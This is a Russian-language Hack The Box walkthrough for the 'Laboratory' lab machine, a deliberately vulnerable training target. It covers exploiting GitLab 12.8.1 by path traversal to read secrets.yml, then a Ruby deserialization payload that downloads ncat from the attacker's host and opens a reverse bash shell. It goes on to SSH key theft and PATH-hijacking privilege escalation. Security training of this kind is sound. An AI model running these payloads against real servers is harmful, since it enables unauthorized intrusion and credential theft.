Продолжим тему Hack The Box. На этот раз будем взламывать GitLab. Задание называется — Laboratory HTB. Я покажу как эксплуатировать уязвимость GitLab для произвольного чтения файлов и удаленного выполнения кода. Мы также немного поковыряемся в репозиториях и используя технику path hijacking повысим привилегии.
Еще по теме: Эксплуатация ядра Linux на виртуалке c Hack The Box
Я очень не рекомендую подключаться к машинам с Hack The Box без VPN. И не советую это делать с компа, где хранятся важные для вас данные, так как после подключения вы окажитесь в общей сети с другими участниками.
Идем в разведку
В нашем случае, разведку начнем со сканирования портов, чтобы определить какие сервисы запущены на машине.
Сканирование портов
IP-адрес машины — 10.10.10.216, я решил дать ей имя laboratory.htb. Делается это с помощью строчки в /etc/hosts.
Теперь сканируем порты с помощью Nmap:
|
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Nmap нашел 3 открытых порта:
- порт 22 (TCP) — служба SSH;
- порт 80 (HTTP) — веб‑сервер Apache 2.4.41;
- порт 443 (HTTPS) — веб‑сервер Apache 2.4.41.
Я был приятно удивлен, когда после сканирования порта 443 (функция которого — общение по зашифрованному протоколу), в отчете нашелся сертификат, а в нем еще один домен git.laboratory.htb. Я его пожалуй тоже внесу в /etc/hosts:
10.10.10.216 git.laboratory.htb
При попытке обращения к laboratory.htb я ничего интересного не получил, а вот на найденном git.laboratory.htb меня встретил GitLab.
Сканируем веб
GitLab — это онлайн-сервис, предназначенный для работы с git-репозиториями. Он дает возможность выполнять совместную разработку силами нескольких команд, применять обновления кода и откатывать изменения, если это необходимо. Также имеется своя вики и система отслеживания ошибок.
Зарегистрируемся на сервисе, чтобы получить доступ к расширенному функционалу, чем у обычных смертных гостей. Это серезный проект, поэтому мы не будем «тыкать кавычки» в каждую форму.
Лучше попробуем найти инфу про уязвимости и готовые эксплоиты. Для этого узнаем версию продукта. Как правило найти ее можно на страницах типа About или в хелпе. В нашем версия указанна в Help.
Итак, версию мы узнали — это 12.8.1.
Точка входа
Я предпочитаю искать эксплоиты с помощью любимого поисковика Google, потому, что он умеет заглядывать в личные блоги пентестеров и хакеров, и в самые различные отчеты. Для быстрого результата можно попробовать сайты для поиска уязвимостей.
Если вы используете Kali, то эта база у вас уже имеется, а для поиска эксплоита используйте утилиту searchsploit.
Как вы можете видеть на скрине выше, searchsploit нашел сразу несколько эксплоитов, но для версии GitLab 12.8.1 ничего рабочего не нашлось. Есть только для более новой (версия 48431), а это значит, что скорее всего, эксплоит нам подойдет.
Уязвимость срабатывает при перемещении задачи между проектами GitLab и приводит к тому, что злоумышленник может читать файлы на удаленной машине. Но у меня ни одна из реализаций этого эксплоита не захотела работать, поэтому будем делать все в ручном режиме.
Для этого нам необходимо изначальное исследование, доказательство работоспособности POC (proof of concept) этой уязвимости. Для поиска идем в Гугл.
На HackerOne нашелся полный отчет. В нем рассказывается, как не только читать файлы, но и получить удаленное выполнение кода (RCE)!
Для получения RCE необходима консоль Ruby on Rails и значение secret_key_base из файла /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml.
Чтобы получить содержимое этого файла будем использовать первую уязвимость, которая дает возможность читать произвольные файлы.
Закрепление
Итак, читаем файл. Создадим два проекта в GitLab, а потом перейдем к вкладке Issues и выберем New Issue. Там указываем следующее значение в качестве описания и таким образом воспользуемся уязвимостью типа path traversal.
|
1 |
 |
Далее необходимо указать целевой проект (который мы создали вторым), после чего secrets.yml можно будет загружать. Так мы получаем нужный для RCE секретный параметр.
Приступим к получению удаленного выполнения кода. Для этого нам нужно установить gitlab-rails в Docker. После установки запускаем.
|
1 |
sudo docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0 |
Теперь запустим.
|
1 2 |
sudo docker images sudo docker run 719e7e45b1e2 |
А теперь выполним bash в данном образе.
|
1 2 |
sudo docker ps sudo docker exec -ti 2b2261d24147 bash |
Нам нужно заменить файл /opt/gitlab/embedded/service/gitlab-rails/config/secrets тем, который мы смогли получить с удаленного хоста. Загружаем консоль командой gilab-rails console и выполняем команды, указанные в отчете. Сначала запустим листенер. Я советую использовать оболочку rlwrap, а в качестве самого листенера используем известный netcat.
|
1 2 |
apt install rlwrap rlwrap nc -lvp [port] |
Способы создать бэкконнект‑шелл не сработали, а вот команда wget выполнилась, поэтому для создания бэкконнекта я загрузил со своего хоста статически собранный ncat, назначил ему права на выполнение и успешно подключился.
|
1 2 3 4 5 6 7 |
request = ActionDispatch::Request.new(Rails.application.env_config) request.env["action_dispatch.cookies_serializer"] = :marshal cookies = request.cookie_jar erb = ERB.new("<%= `wget 10.10.14.75:8000/ncat -O /tmp/ncat ; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.75 4321` %>") depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new) cookies.signed[:cookie] = depr puts cookies[:cookie] |
После выполнения этого кода мы получим cookie, с помощью которых создадим бэкконнект.
|
1 |
curl -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id= |
Чтобы получить интерактивный реверс шелл, продублируем бэкконнект из уже созданного.
Продвижение
Поскольку мы имеем дело с GitLab, первым делом проверяем репозитории. Для удобства бэкапим, загружаем на свой хост, а там уже анализируем.
|
1 |
gitlab-backup |
Мое внимание сразу привлек репозиторий с кричащим названием securewebsite пользователя dexter. После загрузки архива на свой хост находим в нем ключ SSH.
Задаем этому ключу нужные права и уже можем подключиться по SSH.
|
1 2 |
chmod 0600 id_rsa ssh -i id_rsa dexter@laboratory.htb |
Локальное повышение привилегий
Теперь в ход идут скрипты PEASS, которые помогают найти путь для дальнейшего продвижения. Запускаем на хосте LinPEAS и находим приложение с выставленным битом SUID.
Когда у файла установлен атрибут setuid, обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя‑владельца файла (в данном случае root) в рамках запущенного процесса.
После получения повышенных прав приложение может выполнять задачи, выполнение которых обычному пользователю недоступно. В базе GTFOBins этого файла не находим, поэтому посмотрим, использует ли это приложение еще какие‑нибудь вызовы.
GTFOBins — база двоичных файлов Unix, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах.
Из вывода ltrace видим, что при вызове команды chmod указывается неполный путь к файлу программы. А это значит, что система будет поочередно искать этот файл в каждой из директорий, которые указаны в переменной окружения PATH.
С помощью команды export мы можем дописать в начало переменной путь к любой своей директории, тогда система сначала выполнит тот chmod, который будет там расположен. В этот файл мы запишем какой угодно свой код. К примеру, вызов bash. Это даст нам консоль в контексте root. Этот метод известен как path hijacking.
Cоздаем свой шелл в директории /tmp и называем chmod, после чего добавим директорию /tmp в переменную среды PATH, чтобы при вызове команды chmod выполнился наш файл.
После выполнения docker-security мы получим привилегированную консоль.
Машина захвачена, у нас есть полный контроль над ней.
